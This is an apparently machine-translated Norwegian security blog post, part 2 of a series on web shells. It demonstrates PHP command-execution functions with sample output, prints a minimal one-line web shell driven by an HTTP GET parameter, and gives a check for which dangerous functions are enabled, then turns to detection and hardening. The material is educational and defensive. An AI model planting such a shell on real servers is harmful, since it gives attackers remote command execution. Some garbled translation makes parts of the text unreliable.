i del 1 av denne serien så vi på hva et webskall er og hvorfor en angriper ville søke å bruke en. I del 2 av denne serien ser vi på noen spesifikke eksempler på webskjell utviklet ved HJELP AV PHP-programmeringsspråket.Webskjell finnes for nesten alle webprogrammeringsspråk du kan tenke på. VI valgte Å fokusere PÅ PHP fordi DET er det mest brukte programmeringsspråket på nettet.
PHP webskjell gjør ikke noe mer enn å bruke INNEBYGDE PHP-funksjoner for å utføre kommandoer. Følgende er noen av de vanligste funksjonene som brukes til å utføre shell-kommandoer I PHP.
system ()
system()
funksjonen godtar kommandoen som en parameter, og den gir resultatet.
følgende eksempel på En Microsoft Windows-maskin vil kjøre kommandoen dir
for å returnere en katalogoppføring av katalogen DER PHP-filen utføres.
<?php// Return the listing of the directory where the file runs (Windows)system("dir");?>--> Volume in drive C has no label.Volume Serial Number is A08E-9C63Directory of C:\webserver\www\demo02/27/2020 10:21 PM <DIR> .02/27/2020 10:21 PM <DIR> ..02/27/2020 10:19 PM 22 shell.php1 File(s) 22 bytes2 Dir(s) 31,977,467,904 bytes free
Utfører kommandoen ls
på En Linux-maskin oppnår et lignende resultat.
<?php// Return the listing of the directory where the file runs (Linux)system("ls -la");?>--> total 12drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php
Andre kommandoer har samme effekt.
<?php// Return the user the script is running undersystem("whoami");?>--> www-data
exec ()
exec()
funksjonen godtar en kommando som parameter, men sender ikke ut resultatet. Hvis en annen valgfri parameter er angitt, returneres resultatet som en matrise. Ellers vil bare den siste linjen i resultatet bli vist hvis ekko.
<?php// Executes but returns nothingexec("ls -la");?>-->
Ved hjelp avecho
medexec()
– funksjonen vil bare skrive ut den siste linjen i kommandoutgangen.
<?php// Executes, returns only last line of the outputecho exec("ls -la");?>--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php
hvis en annen parameter er angitt, returneres resultatet i en matrise.
<?php// Executes, returns the output in an arrayexec("ls -la",$array);print_r($array);?>--> Array( => total 12 => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 . => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )
shell_exec()
shell_exec()
funksjonen er lik exec()
, men det utganger hele resultatet som en streng.
<?php// Executes, returns the entire output as a stringecho shell_exec("ls -la");?>
-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php
passtru ()
passthru()
funksjonen utfører en kommando og returnerer utdata i raw-format.
<?php// Executes, returns output in raw formatpasssthru("ls -la");?>-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php
proc_open ()
proc_open()
funksjonen kan være vanskelig å forstå (du finner en detaljert beskrivelse av funksjonen i PHP-dokumentene). Ved å bruke proc_open()
, kan vi lage en behandler (prosess) som skal brukes til kommunikasjon mellom skriptet vårt og programmet vi vil kjøre.
Backticks
Overraskende, ikke mange PHP-utviklere er klar over dette, MEN PHP vil utføre innholdet i backticks ( ` ) som en shell-kommando.
<?php$output = `whoami`;echo "<pre>$output</pre>";?>--> www-data
Basert på ovenstående er følgende ET PHP webskall i sin enkleste form.
<?php system($_GET);?>
den bruker system () – funksjonen til å utføre kommandoer som sendes GJENNOM » cmd » HTTP request GET parameter.
Vi har fastslått at disse funksjonene (og noen få andre) kan være veldig farlige. Det som er enda mer farlig er at alle disse INNEBYGDE PHP-kommandoene er aktivert som standard når PHP er installert, og de fleste systemadministratorer deaktiverer ikke dem.
hvis du er usikker på om de er aktivert på systemet ditt, vil følgende returnere en liste over de farlige funksjonene som er aktivert.
<?phpprint_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)));?>
i en standardinstallasjon kan vi se at alle funksjonene nevnt ovenfor er aktivert.
=> exec => system => passthru => shell_exec => proc_open => show_source => parse_ini_file => popen
Del 1
En Introduksjon Til Web Skjell
Del 2
Web Skjell 101 VED HJELP AV PHP
Del 3
Holde Web Skjell Under Dekke
div>
del 4
web skjell i aksjon
del 5
Deteksjon & forebygging
ofte stilte spørsmål
et lite program som en angriper kjører på webserveren din. De kan da bruke dette programmet til å få ekstern tilgang til serveren din og kjøre kommandoer på den. En web shell i seg selv er aldri et angrep, det er kjølvannet av et vellykket angrep på din nettside eller web-applikasjon. Dette betyr at hvis du har et webskall, har du et mye mer alvorlig problem å bekymre deg for.
Se hvordan et webskall fungerer i praksis.
Ondsinnede hackere bruker webskjell for å ta kontroll over en allerede kompromittert server. Først utnytter de et sikkerhetsproblem i nettstedet ditt eller webapplikasjonen, for eksempel SQL-injeksjon, ekstern kjøring av kode eller andre. Deretter laster de opp et webskall til webserveren din. Fra nå av kan de kjøre kommandoer som de liker på serveren din.
Se et trinnvis eksempel på et angrep som fører til fullstendig server kompromiss.
du kan oppdage webskjell ved logganalyse. Du bør imidlertid ikke fokusere på å oppdage webskjell, men i stedet bør du oppdage sårbarheter som kan la angriperne ta kontroll over serveren din. Selv om du oppdager et webskall, vil det ikke stoppe angripere fra å ta over kontrollen igjen hvis sårbarhetene fortsatt er der. For å oppdage web sårbarheter og lære å eliminere dem, bruk Acunetix.
Se Hva Acunetix Premium kan gjøre for deg.
den beste måten å beskytte deg mot webskjell er å gjøre det umulig å bruke dem på systemet ditt. Du kan gjøre det ved å herde serveren din – fjerne alle overskytende tillatelser, blokkere potensielt farlige funksjoner, begrense skriptutførelse i opplastingskataloger, etc. Det er imidlertid best å beskytte serveren mot å bli kompromittert i utgangspunktet ved å bruke Acunetix regelmessig.
Les mer om web shell deteksjon og beskyttelse.
Få det siste innholdet på web sikkerhet
i innboksen din hver uke.
DEL DETTE INNLEGGET
FORFATTEREN

web systems administrator/developer
akis har jobbet i it-sfæren i mer enn 13 år, utvikle sine ferdigheter FRA EN DEFENSIV PERSPEKTIV som systemadministrator og webutvikler, men også fra en offensiv perspektiv som en penetrasjon tester. Han har ulike faglige sertifiseringer knyttet til etisk hacking, digital etterforskning og hendelsesrespons.